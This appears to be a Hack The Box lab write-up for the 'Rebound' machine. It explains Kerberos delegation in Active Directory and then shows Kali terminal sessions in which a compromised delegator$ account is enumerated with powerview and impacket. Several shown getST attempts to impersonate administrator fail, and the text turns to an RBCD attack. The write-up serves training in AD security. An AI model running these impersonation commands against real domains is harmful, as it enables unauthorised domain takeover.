Delegation
The concept of Delegation in the Active Directory environment is very simple
Here is an example of a web server with a nice interface allowing a user to access his personal folder, hosted on a file server
The web server does not know what belongs to the user on the file server. it is not its role to unpack the user’s pac to make a specific demand to the file server. This is where the Delegation comes in.
This mechanism allows the web server to impersonate the user, and to authenticate on the user’s behalf to the file server. Thus, from the file server’s point of view, it is the user who makes the request. The file server will be able to read and check user’s rights, then send back the information to which this account has access. This is how the web server can then display this information in a nice interface back to the user.
the ability to relay credentials can be given to an account with at least one spn attribute set. It could be a computer account or a service account.
Unconstrained Delegation
With Unconstrained Delegation, the server or the service account that is granted this right is able to impersonate a user to authenticate to any services on any host.
This is the likely configuration for the unconstrained delegation
It’s historically the only choice there was when the delegation principle was introduced. But for obvious security reason, Constrained Delegation has been added.
Detail
There are 2 requirements;
- the
trusted_for_delegation
flag set to the service account, and that can be done through mostly admin users with the seenabledelegationprivilege access - the relayee account doesn not have the not_delegated flag set (also applies for Constrained Delegation)
- By default, no account on the AD has this flag set, so they are all “relayable”
Constrained Delegation
If a computer or a service account has the Constrained Delegation flag set, a list of authorized services shall be associated to this flag.
The biggest difference that the Constrained Delegation has over Unconstrained Delegation is that accessible SPNs are specified
It’s very much likely configured this way
In other words, the Domain Controller will read the SPN list on the
WEB-SERVER-01
account, and will decide: “This account is allowed to impersonate a user, so it can authenticate to cifs/WEB-SERVER-02
”.
In the classic Constrained Delegation case (when delegation information is located in Service A
), this information is found in the msDS-AllowedToDelegateTo attribute of the requesting account, thus of Service A
. This attribute specifies the list of authorized SPN for the delegation.
Detail
Let’s consider a case where a user authenticate to Service A
and then this Service A
has to impersonate the user to access Resource B
.
the user makes a tgs request, then sends it to
service a
. since this service needs to access resource b
as the user, it will request a tgs to the domain controller on behalf of the user. this request is governed by the s4u2proxy extension. To tell the Domain Controller it wants to authenticate on behalf of someone else, two attributes will be defined in the KRB_TGS_REQ ticket request:
- The field
additional-tickets
, usually empty, must contain the user’s TGS (given that theNOT_DELEGATED
flag is not set for the requesting user. If that was the case, the user’s TGS would NOT be “forwardable”, and the Domain Controller would deny it in the rest of the process) - the cname-in-addl-tkt flag, which should be set to indicate to the Domain Controller that it should not use the server information, but the ticket information in
additional-tickets
, i.e. the information of the user the server wants to pretend to be.
Resource Based Constrained Delegation - RBCD
Resource Based Constrained Delegation (RBCD) was Introduced with Windows Server 2012 allowing to overcome some problems that Constrained Delegation has. With RBCD, the delegation responsibility is moved to SPN.
While it’s the relaying server or account that holds the list of allowed target services (SPN) in Constrained Delegation, it’s the resources or services (SPN) that have a list of accounts they trust for delegation.
In other words, it’s the end resource (SPN) that says “I allow this list of account […] to authenticate to me on behalf of someone else”.
Detail
This time, the Domain Controller will look at the attributes of Resource B (instead of
Service A
).
it will check that the account associated with service a
is present in the msds-allowedtoactonbehalfofotheridentity attribute of the account linked to Resource B
As the diagram shows, the technical functioning is similar to classic [[#[Detail](https //en.hackndo.com/constrained-unconstrained-delegation/ constrained-delegation-1)|Constrained Delegation]], however the responsibilities of each entity is radically different.
protocol transition
In Constrained Delegation, we assumed that Service A
had a service ticket coming from a user, which was added in the additional-tickets
field of the TGS request (S4U2Proxy).
However, a user may authenticate to the server in other ways than the Kerberos protocol (e.g. via NTLM, or even a Web form). In this case, the server is not in possession of the TGS sent by the user.
Thus, Service A
cannot fill the additional-tickets
field as it did in the case described above.
That is why there is an extra step, possible through the S4U2Self extension, that
Service A
must perform. This step allows it to obtain a TGS for a user arbitrarily chosen.
Service A
makes a classic TGS request (KRB_TGS_REQ) with the name of a user it chooses into the PA-FOR-USER
field, instead of putting its own name (present in the pre-authentication part)
The
TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION
flag dictates the ability to manage protocol transition is accepted by the Domain Controller only if it has been explicitly granted to the service account wishing to manage this delegation. Services with this flag can pretend to be anyone when accessing services in its list via the S4U2Self extension
If such an account is compromised, then all services to which that account is entitled to authenticate via delegation will also be compromised, since the attacker can create service tickets on behalf of arbitrary users, such as administrators.
without Protocol Transition
If a service is configured with constrained delegation without protocol transition (i.e. set with “Kerberos only”), then S4U2self requests won’t result in forwardable service tickets, hence failing at providing the requirement for S4U2proxy to work.
This means the service cannot, by itself, obtain a forwardable ticket for a user to itself (i.e. what S4U2Self is used for). A service ticket will be obtained, but it won’t be forwardable. And S4U2Proxy usually needs an forwardable ST to work.
there are two known ways attackers can use to bypass this and obtain a forwardable ticket, on behalf of a user, to the requesting service (i.e. what s4u2self would be used for):
- By operating an RBCD attack on the service.
- By forcing or waiting for a user to authenticate to the service while a “Kerberos listener” is running.
While the “ticket capture” way would theoretically work, the RBCD approach is preferred since it doesn’t require control over the service’s SPN’s host (needed to start a Kerberos listener). Consequently, only the RBCD approach is described here at the moment.
RBCD Approach
The service account (called serviceA
) configured for Constrained Delegation needs to be configured for RBCD (Resource-Based Constrained Delegations)
The target service’s msDS-AllowedToActOnBehalfOfOtherIdentity
attribute needs to be appended with an account controlled by the attacker (e.g. serviceB
).
The attacker-controlled account must meet the necessary requirements for service ticket requests (i.e. have at least one SPN, or have its sAMAccountName
end with $
).
Assessment
as discovered previously, adpeas enumerated that the
delegator$
account has a constrained delegation right, ms-ds-allowedtodelegateto, to the http/dc01.rebound.htb
SPN
┌──(kali㉿kali)-[~/archive/htb/labs/rebound]
└─$ KRB5CCNAME=delegator\$@dc01.rebound.htb.ccache powerview rebound.htb/@dc01.rebound.htb -k --no-pass --dc-ip $IP
[2023-09-14 15:32:55] LDAP Signing NOT Enforced!
(LDAPS)-[dc01.rebound.htb]-[rebound\delegator$]
PV > Get-ADObject delegator
objectclass : top
person
organizationalPerson
user
computer
msDS-GroupManagedServiceAccount
cn : delegator
distinguishedname : CN=delegator,CN=Managed Service Accounts,DC=rebound,DC=htb
instancetype : 4
whencreated : 20230408090831.0Z
whenchanged : 20230914124906.0Z
usncreated : 69353
usnchanged : 168131
name : delegator
objectguid : {c9da97ae-5e35-44d2-aa15-114aecdc0caf}
useraccountcontrol : WORKSTATION_TRUST_ACCOUNT
badpwdcount : 0
codepage : 0
countrycode : 0
badpasswordtime : 04/08/2023
lastlogoff : 0
lastlogon : 04/09/2023
localpolicyflags : 0
pwdlastset : 04/08/2023
primarygroupid : 515
objectsid : S-1-5-21-4078382237-1492182817-2568127209-7687
accountexpires : 9223372036854775807
logoncount : 14
samaccountname : delegator$
samaccounttype : 805306369
dnshostname : gmsa.rebound.htb
serviceprincipalname : browser/dc01.rebound.htb
objectcategory : CN=ms-DS-Group-Managed-Service-Account,CN=Schema,CN=Configuration,DC=rebound,DC=htb
iscriticalsystemobject : FALSE
dscorepropagationdata : 16010101000000.0Z
lastlogontimestamp : 133254511763241557
msds-allowedtodelegateto : http/dc01.rebound.htb
msds-supportedencryptiontypes : RC4-HMAC
AES128
AES256
msds-managedpasswordid : AQAAAEtEU0sCAAAAaQEAAA8AAAAGAAAAqozXLXGPzBuv4FrBregFhwAAAAAYAAAAGAAAAHIAZQBiAG8AdQBuAGQALgBoAHQAYgAA
AHIAZQBiAG8AdQBuAGQALgBoAHQAYgAAAA==
msds-managedpasswordinterval : 30
msds-groupmsamembership : AQAEgBQAAAAAAAAAAAAAACQAAAABAgAAAAAABSAAAAAgAgAABAAsAAEAAAAAACQA/wEPAAEFAAAAAAAFFQAAAJ0sF/Mh5/BY6YIS
mQYeAAA=
Looking further into the delegator
“object”, the delegator$
account has an existing SPN; browser/dc01.rebound.htb
Additionally, I can also confirm the msDS-AllowedToDelegateTo
attribute set to the http/dc01.rebound.htb
SPN, double-confirming the Constrained Delegation above
Since I have already compromised the delegator$
account, I will be continuing with the TGT
┌──(kali㉿kali)-[~/archive/htb/labs/rebound]
└─$ KRB5CCNAME=delegator\$@dc01.rebound.htb.ccache impacket-findDelegation 'rebound.htb/delegator$' -k -no-pass -dc-ip $IP -dc-host dc01.rebound.htb
Impacket v0.11.0 - Copyright 2023 Fortra
AccountName AccountType DelegationType DelegationRightsTo
----------- ----------------------------------- -------------- ---------------------
delegator$ ms-DS-Group-Managed-Service-Account Constrained http/dc01.rebound.htb
It is indeed a Constrained Delegation since delegation right is specified to the the http/dc01.rebound.htb
SPN ONLY
KDC_ERR_BADOPTION
┌──(kali㉿kali)-[~/archive/htb/labs/rebound]
└─$ KRB5CCNAME=delegator\$@dc01.rebound.htb.ccache impacket-getST 'rebound.htb/delegator$' -k -no-pass -spn 'browser/dc01.rebound.htb' -impersonate administrator -dc-ip $IP
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Impersonating administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[-] Kerberos SessionError: KDC_ERR_BADOPTION(KDC cannot accommodate requested option)
[-] Probably SPN is not allowed to delegate by user delegator$ or initial TGT not forwardable
┌──(kali㉿kali)-[~/archive/htb/labs/rebound]
└─$ KRB5CCNAME=delegator\$@dc01.rebound.htb.ccache impacket-getST 'rebound.htb/delegator$' -k -no-pass -spn 'browser/dc01.rebound.htb' -impersonate 'dc01$' -dc-ip $IP
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Impersonating dc01$
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[-] Kerberos SessionError: KDC_ERR_BADOPTION(KDC cannot accommodate requested option)
[-] Probably SPN is not allowed to delegate by user delegator$ or initial TGT not forwardable
┌──(kali㉿kali)-[~/archive/htb/labs/rebound]
└─$ KRB5CCNAME=delegator\$@dc01.rebound.htb.ccache impacket-getST 'rebound.htb/delegator$' -k -no-pass -spn 'http/dc01.rebound.htb' -impersonate administrator -dc-ip $IP
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Impersonating administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[-] Kerberos SessionError: KDC_ERR_BADOPTION(KDC cannot accommodate requested option)
[-] Probably SPN is not allowed to delegate by user delegator$ or initial TGT not forwardable
However, attempting to impersonate the administrator
user with the delegation right to the http/dc01.rebound.htb
SPN given to the delegator$
account fails with an error; KDC_ERR_BADOPTION
There are 2 possible causes for this;
- the TGT is not [[#[Detail](https //en.hackndo.com/constrained-unconstrained-delegation/ constrained-delegation-1)|“forwardable”]] or the [[#[Detail](https //en.hackndo.com/constrained-unconstrained-delegation/ unconstrained-delegation-1)|NOT_DELEGATED]] flag set to the
administrator
user - The
delegator$
account is configured without [[#[Protocol Transition](https //en.hackndo.com/constrained-unconstrained-delegation/ s4u2self)|protocol transition]] (Kerberos ONLY)
2nd one above is likely the root cause of the error since domain users (let alone the administrator
user) don’t have the [[#[Detail](https //en.hackndo.com/constrained-unconstrained-delegation/ unconstrained-delegation-1)|NOT_DELEGATED]] flag set by default
Therefore, the error could be resolved by the RBCD attack method